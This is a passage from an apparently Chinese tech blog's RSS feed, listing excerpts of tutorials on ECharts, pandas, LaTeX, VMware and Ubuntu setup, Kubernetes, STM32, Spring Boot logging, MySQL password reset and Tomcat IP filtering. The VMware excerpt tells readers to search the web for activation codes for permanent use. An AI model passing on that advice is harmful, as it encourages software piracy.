main(String[] args) throws CloneNotSupportedException { //创建一个原型类对象 Realizetype realizetype = new Realizetype(); //调用Realizetype类中的clone方法进行对象的克隆 Realizetype clone = realizetype.</description>
    </item>
    <item>
      <title>echarts 图表设置 滚动条</title>
      <link>https://bchobby.github.io/posts/298404c83af01a97d10fce9b35ce7241/</link>
      <pubDate>Thu, 10 Aug 2023 08:50:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/298404c83af01a97d10fce9b35ce7241/</guid>
      <description>效果图： 代码实现： 第一种方式： 通过 dataZoom 属性缩放进行配置滚动条。&#xA;//给x轴设置滚动条 dataZoom: [{ start:0,//默认为0 end: 100-1500/31,//默认为100 type: &#39;slider&#39;, show: true, xAxisIndex: [0], handleSize: 0,//滑动条的 左右2个滑动条的大小 height: 10,//组件高度 left: &#39;10%&#39;, //左边的距离 right: &#39;10%&#39;,//右边的距离 bottom: 26,//右边的距离 borderColor: &#34;#000&#34;, fillerColor: &#39;#269cdb&#39;, borderRadius:5, backgroundColor: &#39;#33384b&#39;,//两边未选中的滑动条区域的颜色 showDataShadow: false,//是否显示数据阴影 默认auto showDetail: false,//即拖拽时候是否显示详细数值信息 默认true realtime:true, //是否实时更新 filterMode: &#39;filter&#39;, }, //1.横向使用滚动条 { type: &#39;slider&#39;,//有单独的滑动条，用户在滑动条上进行缩放或漫游。inside是直接可以是在内部拖动显示 show: true,//是否显示 组件。如果设置为 false，不会显示，但是数据过滤的功能还存在。 start: 0,//数据窗口范围的起始百分比0-100 end: 50,//数据窗口范围的结束百分比0-100 xAxisIndex: [0],// 此处表示控制第一个xAxis，设置 dataZoom-slider 组件控制的 x轴 可是已数组[0,2]表示控制第一，三个；xAxisIndex: 2 ，表示控制第二个。yAxisIndex属性同理 bottom:-10 //距离底部的距离 }, //2.</description>
    </item>
    <item>
      <title>pandas 基础用法大全（入门首选）</title>
      <link>https://bchobby.github.io/posts/9daa8de85c7cc6538b0944f46465a2e9/</link>
      <pubDate>Wed, 09 Aug 2023 23:07:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9daa8de85c7cc6538b0944f46465a2e9/</guid>
      <description>本文转载于：pandas用法大全，并在原文的基础上修复了部分问题并配了相应代码执行输出的结果。&#xA;另一篇加强练习篇：[pandas 百题大冲关](pandas 百题大冲关_ystraw_ah的博客-CSDN博客)&#xA;目录&#xA;概念梳理&#xA;一、生成数据表&#xA;三、数据表清洗&#xA;四、数据预处理&#xA;五、数据提取&#xA;六、数据筛选&#xA;七、数据汇总&#xA;八、数据统计‘&#xA;九、数据输出&#xA;概念梳理： Pandas 的数据类型主要有以下几种，它们分别是：Series（一维数组），DataFrame（二维数组），Panel（三维数组），Panel4D（四维数组），PanelND（更多维数组）。其中 Series 和 DataFrame 应用的最为广泛，几乎占据了使用频率 90% 以上。&#xA;Series 是 Pandas 中最基本的一维数组形式。其可以储存整数、浮点数、字符串等类型的数据。Series 基本结构如下：&#xA;pandas.Series(data=None, index=None) 其中，data 可以是字典，或者NumPy 里的 ndarray 对象等。index 是数据索引，索引是 Pandas 数据结构中的一大特性，它主要的功能是帮助我们更快速地定位数据。&#xA;import pandas as pd s = pd.Series({&#39;a&#39;: 10, &#39;b&#39;: 20, &#39;c&#39;: 30}) s DataFrame 是 Pandas 中最为常见、最重要且使用频率最高的数据结构。DataFrame 和平常的电子表格或 SQL 表结构相似。你可以把 DataFrame 看成是 Series 的扩展类型，它仿佛是由多个 Series 拼合而成。它和 Series 的直观区别在于，数据不但具有行索引，且具有列索引。&#xA;DataFrame 基本结构如下：&#xA;pandas.DataFrame(data=None, index=None, columns=None) 区别于 Series，其增加了 columns 列索引。DataFrame 可以由以下多个类型的数据构建：</description>
    </item>
    <item>
      <title>AxMath使用教程&#43;常用符号与公式（持续更新中）</title>
      <link>https://bchobby.github.io/posts/bd375700c69b6ddad5cac8525c617213/</link>
      <pubDate>Wed, 09 Aug 2023 21:31:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd375700c69b6ddad5cac8525c617213/</guid>
      <description>前言 这两天学了学Latex，主要是为了以后写毕业论文做铺垫，而且Latex在数学公式这一方面，要比Word方便许多，于是我就下载了一款国产的公式编辑器——AxMath。永久会员不贵，只要36元，而且软件很好用，我选择支持国产。因为我是学通信的，可能整理的一些通信相关的公式和符号较多。&#xA;文章目录 前言面板介绍输入公式渲染基本运算符号分数根号上划线与下划线等式关系换行与空格常用三角函数括号绝对值微分与积分求和与累乘极限计算时等号对齐希腊字母举个例子 面板介绍 我感觉常用的其实就这俩功能，如果熟练起来的话，基本不需要鼠标操作。没学这些之前一直有一个误区就是觉得Latex要会写代码，其实学了之后才发现，基本不需要自己写，套模板和复制就足够了。&#xA;点击Latex代码转换&#xA;这个好处就是可以根据上面写的公式来学习代码是怎么写的&#xA;输入公式 渲染 两个$中间夹起来表示渲染Latex&#xA;$$ 要渲染的内容 $$ 基本运算符号 名称AxMath渲染后加+ + + +减- − - −乘\cdot ⋅ \cdot ⋅除\div ÷ \div ÷正负\pm ± \pm ± \cdot表示点乘,一般不写 *作为乘号&#xA;分数 普通输入AxMath渲染后1/2\frac{1}{2} 1 2 \frac{1}{2} 21​ 解读：\frac{分子}{分母} 根号 名称AxMath渲染后根号\sqrt{2} 2 \sqrt{2} 2 ​多次根号\sqrt[3]{2} 2 3 \sqrt[3]{2} 32 ​ 解读： \sqrt{被开方数} \sqrt[开几次根]{被开方数} 上划线与下划线 名称AxMath渲染后上划线\overline{a} a ‾ \overline{a} a下划线\underline{a} a ‾ \underline{a} a​ 等式关系 名称AxMath渲染后等于= = = =不等于\ne ≠ \ne =约等于\approx ≈ \approx ≈小于&amp;lt; &amp;lt; &amp;lt; &amp;lt;大于&amp;gt; &amp;gt; &amp;gt; &amp;gt;小于等于\leqslant ⩽ \leqslant ⩽大于等于\geqslant ⩾ \geqslant ⩾ 换行与空格 普通输入AxMath渲染后\\(双反斜杠)\frac{1}{2} \\ \frac{1}{2} 1 2 1 2 \frac{1}{2} \\ \frac{1}{2} 21​21​~(波浪线)\frac{1}{2} ~~~~ \frac{1}{2} 1 2 1 2 \frac{1}{2} ~~~~ \frac{1}{2} 21​ 21​ 常用三角函数 普通输入AxMath渲染后sinsin sin ⁡ \sin sincoscos cos ⁡ \cos costansin tan ⁡ \tan tanarcsinarcsin a r c sin ⁡ \mathrm{arc}\sin arcsinarccosarccos a r c cos ⁡ \mathrm{arc}\cos arccosarctanarctan a r c tan ⁡ \mathrm{arc}\tan arctansecsec sec ⁡ \sec seccotcot cot ⁡ \cot cotcsccsc csc ⁡ \csc csc 括号 名称AxMath渲染后小括号() ( ) () ()中括号[] [ ] [] []大括号{} { } \left\{ \right\} {}多行小括号\left( \begin{array}{c}1\2\3\\end{array} \right) ( 1 2 3 ) \left( \begin{array}{c}1\\2\\3\\\end{array} \right) ​123​ ​多行中括号\left[ \begin{array}{c}1\2\3\\end{array} \right] [ 1 2 3 ] \left[ \begin{array}{c}1\\2\\3\\\end{array} \right] ​123​ ​多行大括号\left{ \begin{array}{c}1\2\3\\end{array} \right} { 1 2 3 } \left\{ \begin{array}{c}1\\2\\3\\\end{array} \right\} ⎩ ⎨ ⎧​123​⎭ ⎬ ⎫​ 解读： \begin{array}{c}，array指一个矩阵，c指一列 绝对值 名称AxMath渲染后绝对值\mid a \mid ∣ a ∣ \mid a \mid ∣a∣ 微分与积分 名称AxMath渲染后微分\frac{\mathrm{d}y}{\mathrm{d}x} d y d x \frac{\mathrm{d}y}{\mathrm{d}x} dxdy​积分\int_b^a{f\left( x \right) \mathrm{d}x} ∫ b a f ( x ) d x \int_b^a{f\left( x \right) \mathrm{d}x} ∫ba​f(x)dxf’(x)f\prime\left( x \right) f ′ ( x ) f\prime\left( x \right) f′(x) 解读：\mathrm{要变成正体的字母} int_积分区间开始^积分区间结束{被积内容} f\left( x \right)表示f(x),\left和\right表示左小括号和右小括号 求和与累乘 名称AxMath渲染后求和\sum_{n=1}^{\infty}{f\left( x \right)} ∑ n = 1 ∞ f ( x ) \sum_{n=1}^{\infty}{f\left( x \right)} n=1∑∞​f(x)累乘\prod_{n=1}^{\infty}{f\left( x \right)} ∏ n = 1 ∞ f ( x ) \prod_{n=1}^{\infty}{f\left( x \right)} n=1∏∞​f(x) 解读： \sum{开始求和}^{结束求和}{函数} \prod_{开始累乘}^{结束累乘}{函数} 极限 名称AxMath渲染后求极限\lim_{x \to 0} lim ⁡ x → 0 \lim_{x \to 0} x→0lim​ 解读： \lim_{x \to 0}x趋于0 计算时等号对齐 每个等号前面加上&amp;amp; 空格</description>
    </item>
    <item>
      <title>Linux虚拟机win10安装</title>
      <link>https://bchobby.github.io/posts/87183d8ec01371f455401396d92d52e8/</link>
      <pubDate>Wed, 09 Aug 2023 14:58:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87183d8ec01371f455401396d92d52e8/</guid>
      <description>目录&#xA;一.虚拟机安装包下载&#xA;二.虚拟机配置&#xA;三.Linux系统Ubuntu镜像文件下载&#xA;四.Linux系统配置&#xA;五.写在最后&#xA;一.虚拟机安装包下载 1.选择安装VMware Workstation，登录其官网下载安装包，链接如下：&#xA;下载 VMware Workstation Pro | CN&#xA;2.双击安装包进行安装&#xA;3.默认是安装在C盘，我们自定义安装路径 4.一直点下一步进行安装&#xA;5.最后一步点击许可证输入激活码可永久使用，激活码自行百度&#xA;如果没有激活成功，则百度其他激活码&#xA;6.双击桌面VMware打开软件，点击帮助-&amp;gt;关于查看是否永久激活&#xA;二.虚拟机配置 1.在主界面中，选择【创建新的虚拟机】&#xA;2.在弹出的【新建虚拟向导】，选择【自定义（高级）】后，点击【下一步】&#xA;3.选择默认值即可，点击【下一步】&#xA;4.选择【稍后安装操作系统】，点击【下一步】&#xA;5.选择【Linux】，其下方版本将默认更改为【Ubuntu】&#xA;6.填写【虚拟机名称】及【位置】，点击【下一步】。【虚拟机名称】即虚拟机的名字。【位置】可以选择容量较大的硬盘位置&#xA;7.【处理器数量】与【每个处理器的内核数量】选择2后，点击【下一步】&#xA;8. 选择【此虚拟机的内存】，此值应依据电脑本身情况酌情调整。常用值为1G（1024MB）、2G（2048MB）、4G（4096MB）等等。在这里选择4G&#xA;9.选择【使用网络地址转换】，点击【下一步】&#xA;10.选择推荐的【LSI Logic】即可，点击【下一步】&#xA;11.选择推荐的【SCSI】即可，点击【下一步】&#xA;12.选择【创建新虚拟磁盘】，点击【下一步】&#xA;13.设置【最大磁盘大小】为40，并选择【将虚拟磁盘拆分成多个文件】后，点击【下一步】。最大磁盘大小默认为20GB，磁盘剩余空间较大的话该数值可以往上加&#xA;14.点击【下一步】&#xA;15.点击【完成】&#xA;三.Linux系统Ubuntu镜像文件下载 linux分为3类：1、Redhat系，主要有Redhat、Centos、Fedora等，其中Centos系统是很多服务器用户选择的系统；2、Debian系，主要有Debian、Ubuntu、Mint等，这个系还有其他一些衍生版本的系统；3、其他系统，例如Gentoo、Arch Linux、LFS等。&#xA;用于开发的，大多使用Redhat系，其中Centos系统是很多企业服务器使用的系统。&#xA;相对简单的开发，则可以选择Debian系，优选Ubuntu和mint这两种版本。&#xA;还有一部分技术相对比较成熟的用户，会选择其他系别中的Gentoo、LFS，Slackware等&#xA;可以采用官网、阿里云镜像、清华镜像等。安装以iso为结尾的镜像&#xA;oldubuntu-releases-releases-16.04.1安装包下载_开源镜像站-阿里云&#xA;四.Linux系统配置 1.VMware Station界面，单机界面左侧【编辑虚拟机位置】&#xA;2.点击左侧的CD/DVD选项卡，右侧点击【使用ISO映像文件】，找到下载的Ubuntu镜像即可，点击【下一步】&#xA;3.回到VMware Station界面，点击【开启此虚拟机】&#xA;4.此时可以看到虚拟机画面，点击右侧【Install Ubuntu】&#xA;5.选择【Download updates while installing Ubuntu】,点击【continue】&#xA;6.选择【Erase disk and install Ubuntu】，点击【Install Now】&#xA;7.点击地图上【中国】的位置，会默认出现Shanghai，点击【Continue】&#xA;8.我们使用美国键盘布局【English（US）】，点击【Continue】&#xA;9.输入【Your name】【Your computer&#39;s name】【Pick a username】【Choose a password】【Confirm your password】后，点击【Continue】。这里建议密码设置的简单一些，因为Ubuntu后续很多操作需要验证密码，设置复杂的密码后期会比较麻烦</description>
    </item>
    <item>
      <title>大模型-模型文件下载</title>
      <link>https://bchobby.github.io/posts/837b4c1da92371ecb0c3f8fcef944643/</link>
      <pubDate>Wed, 09 Aug 2023 14:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/837b4c1da92371ecb0c3f8fcef944643/</guid>
      <description>工具：git lfs&#xA;直接使用git lfs clone 速度很慢，先把文件用普通方式拉下来，再去git lfs pull对应的大文件&#xA;// Skip smudge - We’ll download binary files later in a faster batch&#xA;git lfs install --skip-smudge&#xA;// Do git clone here&#xA;git clone …&#xA;// Fetch all the binary files in the new clone&#xA;git lfs pull&#xA;// Reinstate smudge&#xA;git lfs install --force</description>
    </item>
    <item>
      <title>【K8S 的二进制搭建】</title>
      <link>https://bchobby.github.io/posts/9603765322d371aefda89563b30e10d5/</link>
      <pubDate>Wed, 09 Aug 2023 14:49:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9603765322d371aefda89563b30e10d5/</guid>
      <description>目录 一、二进制搭建 Kubernetes v1.201、准备环境 二、操作系统初始化配置三、部署 etcd 集群1、准备签发证书环境2、在 master01 节点上操作1、生成Etcd证书 3、在 node01 节点上操作4、在 node02 节点上操作 四、部署 Master 组件五、部署 docker引擎六、部署 Worker Node 组件1、在所有 node 节点上操作1、在 master01 节点上操作 2、在 node01 节点上操作3、在 master01 节点上操作，通过 CSR 请求4、在 node01 节点上操作5、自动批准CSR请求 七、部署 CNI 网络组件1、在 node01 节点上操作2、在node2节点上进行操作3、在 master01 节点上操作 八、部署 CoreDNS1、在所有 node 节点上操作2、在 master01 节点上操作3、master02 节点部署4、负载均衡部署1、修改nginx配置文件，配置四层反向代理负载均衡，指定k8s群集2台master的节点ip和6443端口2、在 master01 节点上操作 九、部署 Dashboard1、在 master01 节点上操作 一、二进制搭建 Kubernetes v1.20 1、准备环境 k8s集群master01：192.168.102.10&#x9;kube-apiserver kube-controller-manager kube-scheduler etcd k8s集群master02：192.168.102.20 k8s集群node01：192.168.102.30&#x9;kubelet kube-proxy docker k8s集群node02：192.168.102.40 etcd集群节点1：192.</description>
    </item>
    <item>
      <title>【转载修正】STM32-HAL库-printf函数重定向（USART应用实例）</title>
      <link>https://bchobby.github.io/posts/763e3117056a1930c89a2b92263b0ebd/</link>
      <pubDate>Wed, 09 Aug 2023 14:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/763e3117056a1930c89a2b92263b0ebd/</guid>
      <description>为了便于调试，我们可以利用printf打印出调试的信息，在STM32应用中，我们就可以利用printf函数通过串口打印信息到串口调试助手上。原文里面有一些设置没有提到，这里重新整理了一下评论区大佬的指正，发布在自己的博客里面以备不时之需。&#xA;其中，配置串口的部分直接跳过，一般用cubeMX配置USART1即可，波特率115200然后其他默认就好。&#xA;然后cubeMX要选择生成单独的文件，这样才会有usart.c。&#xA;1、引入printf重定向代码块 下面直接贴需要在usart.c中添加的代码：&#xA;/* USER CODE BEGIN 0 */ #include &amp;lt;stdio.h&amp;gt; #ifdef __GNUC__ #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) //这里原文的在_io_putchar前面又加了一个_ ，据说可以在IAR下使用 #else #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f) #endif /* __GNUC__*/ /****************************************************************** *@brief Retargets the C library printf function to the USART. *@param None *@retval None ******************************************************************/ PUTCHAR_PROTOTYPE { HAL_UART_Transmit(&amp;amp;huart1, (uint8_t *)&amp;amp;ch,1,0xFFFF); return ch; } /* USER CODE END 0 */ 2、在main.c中 测试打印 上面的步骤已经将stdio.h添加到usart.c中了，如果main.c里面没有包含usart.c的话需要再单独添加一下，将#include&amp;lt;stdio.h&amp;gt;直接加入main.h中，因为Cube生成文件大部分都是包含了main.h的，所以除了自建文件几乎都可以全局包含到stdio.h，而且自建文件也可以直接包含main.h。操作如下：&#xA;//main.h /* Private includes ----------------------------------------------------------*/ /* USER CODE BEGIN Includes */ #include&amp;lt;stdio.</description>
    </item>
    <item>
      <title>python逢七拍手游戏代码while,逢七拍手编程用python</title>
      <link>https://bchobby.github.io/posts/458113323828dad31a0ebc9bfa78bc9e/</link>
      <pubDate>Wed, 09 Aug 2023 12:14:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/458113323828dad31a0ebc9bfa78bc9e/</guid>
      <description>本篇文章给大家谈谈python逢七拍手游戏代码continue图片，以及python逢七拍手游戏代码300以内，希望对各位有所帮助，不要忘了收藏本站喔。&#xA;# 逢七拍手小游戏 &#34;&#34;&#34; 介绍： 逢七拍手游戏的规则是：从1开始顺序数数，数到有7，或者是7的倍数时，就拍一手。 例如：7、14、17......70...... 知识点： 1、数据类型转换 2、for 循环语句 3、if 条件语句 &#34;&#34;&#34; # 变量定义 s = 1 # 记录打印次数 t = 1 # 记录拼接&#39;7&#39;的个数 # 预先文字打印 print(&#34;包含&#39;7&#39;和&#39;7&#39;的倍数有：&#34;) # 可以尝试改变数数大的范围，例如：range(1, 200);range(1, 1000) for i in range(1, 100): # 打印&#39;7&#39;的倍数 if i % 7 == 0 and i != int(str(7)*t): print(i, end=&#39;\t&#39;) # 每打印10个换一行 if s % 10 == 0: print() s += 1 # 记录打印次数 # 打印包含&#39;7&#39;的数 for j in str(i): if j == &#39;7&#39;: print(i, end=&#39;\t&#39;) # 每打印10个换一行 if s % 10 == 0: print() s += 1 # 记录打印次数 break # 结束循环 # 计算拼接&#39;7&#39;的个数 if i % 10 == 0: t = 0 for k in str(i): t += 1 运行结果：</description>
    </item>
    <item>
      <title>轻松抓取网页内容！API助力开发者，快速数据采集</title>
      <link>https://bchobby.github.io/posts/f71acf22bccbfe1544392532f900f251/</link>
      <pubDate>Wed, 09 Aug 2023 11:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f71acf22bccbfe1544392532f900f251/</guid>
      <description>在如今这个信息爆炸的时代，人们需要从各种渠道获取数据来支持自己的业务需求。而对于开发者们来说，如何快速、准确地从互联网上抓取所需的数据也成为了一项重要的技能。而抓取网页内容 API 则是一种能够帮助开发者轻松实现数据抓取的工具。&#xA;一、什么是抓取网页内容 API？&#xA;抓取网页内容 API 是一种通过网络接口提供数据抓取服务的技术。它可以帮助开发者快速、准确地获取所需的数据，并且可以自动化地定期更新。&#xA;二、抓取网页内容 API 的优点&#xA;1.省时省力：使用抓取网页内容 API 可以省去手动编写爬虫程序的繁琐过程，大大节省了时间和精力。&#xA;2.高效准确：通过现成的 API 接口，可以轻松实现数据的高效、准确获取，并且可以自动化地定期更新。&#xA;3.可扩展性强：通过调用不同的 API 接口，可以轻松实现对不同类型、不同来源的数据进行抓取。&#xA;4.安全性可靠：使用正规渠道提供的 API 接口，可以避免被封禁 IP 或者被反爬虫机制拦截。&#xA;三、抓取网页内容 API 的使用场景&#xA;1.数据分析：抓取网页内容 API 可以帮助数据分析师快速获取所需的数据，并且可以自动化地定期更新，为数据分析提供更加准确、实时的支持。&#xA;2.社交媒体：通过抓取社交媒体上的数据，可以了解用户行为、趋势等信息，从而更好地进行社交媒体营销。&#xA;3.电商平台：通过抓取竞争对手的价格、销量等数据，可以更好地制定自己的营销策略，提高市场竞争力。&#xA;4.金融服务：通过抓取金融市场上的数据，可以更好地进行投资决策、风险控制等工作。&#xA;5.新闻媒体：通过抓取新闻媒体上的内容，并进行分类、分析，可以更好地了解新闻事件背后的事实和影响。&#xA;四、如何使用抓取网页内容 API？&#xA;1.查找可用的 API 接口：可以通过搜索引擎或者开发者社区查找可用的 API 接口，并选择适合自己需求的接口。&#xA;2.注册并获取 API Key：大部分的 API 接口需要注册并获取 API Key 才能使用，因此需要按照接口提供商的要求进行注册和认证。&#xA;3.调用 API 接口：通过编写程序代码或者使用现成的 SDK 包，可以轻松实现对 API 接口的调用，并获取所需的数据。&#xA;五、抓取网页内容 API 的注意事项&#xA;1.遵守法律法规：使用抓取网页内容 API 时需要遵守相关的法律法规，不得违反相关规定。&#xA;2.注意隐私保护：在抓取用户数据时，需要注意用户隐私保护问题，不得泄露用户个人信息。&#xA;3.避免过度频繁访问：为了避免被封禁 IP 或者被反爬虫机制拦截，需要避免过度频繁地访问同一网站或同一接口。&#xA;4.注意数据解析规则：对于不同网站或接口返回的数据格式可能会有所不同，需要根据具体情况进行数据解析。&#xA;六、总结</description>
    </item>
    <item>
      <title>【Java 开发】mac 忘记 MySQL 数据库密码后重置密码的方法</title>
      <link>https://bchobby.github.io/posts/180ed49924f620a4834727122bc2f842/</link>
      <pubDate>Wed, 09 Aug 2023 10:22:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/180ed49924f620a4834727122bc2f842/</guid>
      <description>由于有个同事的 mac mini 刚装了 MySQL ，然后忘记一开始设的密码是什么了，但是最近又要用到本地的 MySQL 数据库，网上找了一大堆方法全都没用，但又不想删了重装，最后终于被我找到了一个正确的方法，这里分享一下解决办法。&#xA;1. 重启 MySQL 服务器 打开 系统偏好设置 - MySQL ，然后点击 Stop MySQL Server 关闭 MySQL 服务器。 关闭 MySQL 服务器后打开终端，输入以下命令进入 MySQL 目录。 cd /usr/local/mysql/bin 再输入以下命令获取权限。 sudo su 然后输入以下命令重启 MySQL 服务器。 ./mysqld_safe --skip-grant-tables &amp;amp; 2. 修改 MySQL 密码 刚才的终端不要关掉，按下 command + N 另开一个终端窗口，输入以下命令配置短命令。 alias mysql=/usr/local/mysql/bin/mysql 接着输入以下命令进入 MySQL 命令模式。 mysql 再输入以下命令进入 MySQL 数据库。 use mysql 然后输入以下命令获取权限。 flush privileges; 现在可以输入以下命令修改你的 MySQL 密码了，xxx 处填写你的新密码。 set password for &#39;root&#39;@&#39;localhost&#39;=password(&#39;xxx&#39;); 3.</description>
    </item>
    <item>
      <title>Spring boot实现AOP记录操作日志</title>
      <link>https://bchobby.github.io/posts/b2bb886dd80e0d419898d08ac4906e80/</link>
      <pubDate>Wed, 09 Aug 2023 10:16:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2bb886dd80e0d419898d08ac4906e80/</guid>
      <description>前言 在实际的项目中，特别是管理系统中，对于那些重要的操作我们通常都会记录操作日志。比如对数据库的CRUD操作，我们都会对每一次重要的操作进行记录，通常的做法是向数据库指定的日志表中插入一条记录。这里就产生了一个问题，难道要我们每次在 CRUD的时候都手动的插入日志记录吗？这肯定是不合适的，这样的操作无疑是加大了开发量，而且不易维护，所以实际项目中总是利用AOP(Aspect Oriented Programming)即面向切面编程这一技术来记录系统中的操作日志。&#xA;日志分类 这里我把日志按照面向的对象不同分为两类：&#xA;面向用户的日志：用户是指使用系统的人，这一类日志通常记录在数据库里边，并且通常是记录对数据库的一些CRUD操作。面向开发者的日志：查看这一类日志的一般都是开发人员，这类日志通常保存在文件或者在控制台打印（开发的时候在控制台，项目上线之后之后保存在文件中），这一类日志主要用于开发者开发时期和后期维护时期定位错误。 面向不同对象的日志，我们采用不同的策略去记录。很容易看出，对于面向用户的日志具有很强的灵活性，需要开发者控制用户的哪些操作需要向数据库记录日志，所以这一类保存在数据库的日志我们在使用 AOP记录时用自定义注解的方式去匹配；而面向开发者的日志我们则使用表达式去匹配就可以了（这里有可能叙述的有点模糊，看了下面去案例将会很清晰），下面分别介绍两种日志的实现。&#xA;实现AOP记录面向用户的日志 接下来分步骤介绍Spring boot中怎样实现通过AOP记录操作日志。&#xA;添加依赖 在pom.xml文件中添加如下依赖：&#xA;&amp;lt;!-- aop依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 修改配置文件 在项目的application.properties文件中添加下面一句配置：&#xA;spring.aop.auto=true 这里特别说明下，这句话不加其实也可以，因为默认就是true，只要我们在pom.xml中添加了依赖就可以了，这里提出来是让大家知道有这个有这个配置。&#xA;自定义注解 上边介绍过了了，因为这类日志比较灵活，所以我们需要自定义一个注解，使用的时候在需要记录日志的方法上添加这个注解就可以了，首先在启动类的同级包下边新建一个config包，在这个报下边新建new一个名为Log的Annotation文件，文件内容如下：&#xA;package com.web.springbootaoplog.config; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * @author Promise * @createTime 2018年12月18日 下午9:26:25 * @description 定义一个方法级别的@log注解 */ @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) public @interface Log { String value() default &#34;&#34;; } 这里用到的是Java元注解的相关知识，不清楚相关概念的朋友可以去这get一下【传送门】。&#xA;准备数据库日志表以及实体类，sql接口，xml文件 既然是向数据库中插入记录，那么前提是需要创建一张记录日志的表，下面给出我的表sql,由于是写样例，我这里这张表设计的很简单，大家可以自行设计。&#xA;CREATE TABLE `sys_log` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;主键&#39;, `user_id` int(11) NOT NULL COMMENT &#39;操作员id&#39;, `user_action` varchar(255) NOT NULL COMMENT &#39;用户操作&#39;, `create_time` datetime DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP COMMENT &#39;创建时间&#39;, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8 COMMENT=&#39;日志记录表&#39;; 当然还需要创建service接口文件以及接口实现类，这里直接给出代码：</description>
    </item>
    <item>
      <title>tomcat限制IP访问</title>
      <link>https://bchobby.github.io/posts/cb6c119e2b61741201733519ff9a781a/</link>
      <pubDate>Wed, 09 Aug 2023 10:15:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb6c119e2b61741201733519ff9a781a/</guid>
      <description> tomcat可以通过增加配置，来对来源ip进行限制，即只允许某些ip访问或禁止某些来源ip访问。&#xA;配置路径：server.xml 文件下 标签下。与同级&#xA;&amp;lt;Valve className=&#34;org.apache.catalina.valves.RemoteAddrValve&#34; allow=&#34;192.168.x.x&#34; deny=&#34;&#34; /&amp;gt; 此处标签尽量通过复制同级标签后修改进行，因为使用的是Valve，而不是Value，防止手敲导致错误&#xA;allow：允许访问的ip，支持正则表达&#xA;deny：拒绝访问的ip，支持正则表达&#xA;当有多个IP需要进行限制时，使用&#34;|&#34;来进行分隔&#xA;如果需要对来源机器名称进行限制，则需要使用到以下标签。具体内容配置与RemoteAddrValve相同&#xA;&amp;lt;Valve className=&#34;org.apache.catalina.valves.RemoteHostValve&#34; allow=&#34;master1&#34; deny=&#34;&#34;/&amp;gt; </description>
    </item>
    <item>
      <title>echarts图表中Y(y)轴间距固定，等间距，刻度固定，设置最大值、最小值</title>
      <link>https://bchobby.github.io/posts/2a540407d0c816c0ce590ce44ca56f07/</link>
      <pubDate>Wed, 09 Aug 2023 09:58:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a540407d0c816c0ce590ce44ca56f07/</guid>
      <description>echarts图表中Y(y)轴间距固定，等间距，刻度固定，设置最大值、最小值&#xA;正确的写法interval: 2.5指定刻度间隔,我的间距2.5 、5、7.5、10、12.5,所以需要改成这种。如果你是 yAxis: { name: &#39;退款率%&#39;, type: &#39;value&#39;, min: 2.5, max: 12.5, interval: 2.5 // 指定刻度间隔 }, 如果你是从最小0开始，到最大值100，间距为20，则可以设置成以下写法 yAxis: { name: &#39;退款率%&#39;, type: &#39;value&#39;, min: 0, max: 100, interval: 20 // 指定刻度间隔 }, 以下是我刚开始的写法，是错误写法哦。 以为设置最小值和最大值就可以了，但其实不然。&#xA;yAxis: { name: &#39;退款率%&#39;, type: &#39;value&#39;, min: 2.5, max: 12.5 }, 后面查完之后又改成这种的，但也不对,注意这是不对的，避免踩坑&#xA;yAxis: { name: &#39;退款率%&#39;, type: &#39;value&#39;, min: 2.5, max: 12.5, boundaryGap: [0, 0.01], axisTick: { show: true, // 显示刻度 interval: 2.</description>
    </item>
    <item>
      <title>C&#43;&#43;执行程序计时函数详解</title>
      <link>https://bchobby.github.io/posts/a2d19c9a684ca75baddf95a6cdcc8937/</link>
      <pubDate>Wed, 09 Aug 2023 09:14:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2d19c9a684ca75baddf95a6cdcc8937/</guid>
      <description> 通常计时函数主要有两个，分别是getTickCount()和getTickFrequency().&#xA;getTickCount()函数，返回的是CPU自某个时间（如启动电脑）以来走过的时钟周期数；getTickFrequency()函数，返回的是CPU一秒钟所走的时钟周期数，这样我们就可以轻松的以秒为单位对某运算进行计时； 将两个函数组合起来使用的示例如下所示：&#xA;double time0=static_cast&amp;lt;double&amp;gt;(getTickCount()); //进行一系列例如图像处理的操作 time0 = ((double)getTickCount()-time0)/getTickFrequency(); cout&amp;lt;&amp;lt;&#34;运行时间：&#34;&amp;lt;&amp;lt;time0&amp;lt;&amp;lt;&#34;秒&#34;&amp;lt;&amp;lt;endl; </description>
    </item>
    <item>
      <title>ubuntu Pdf转图片</title>
      <link>https://bchobby.github.io/posts/bafb65d964d9d50bfc6d8c1a288bc14c/</link>
      <pubDate>Wed, 09 Aug 2023 09:08:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bafb65d964d9d50bfc6d8c1a288bc14c/</guid>
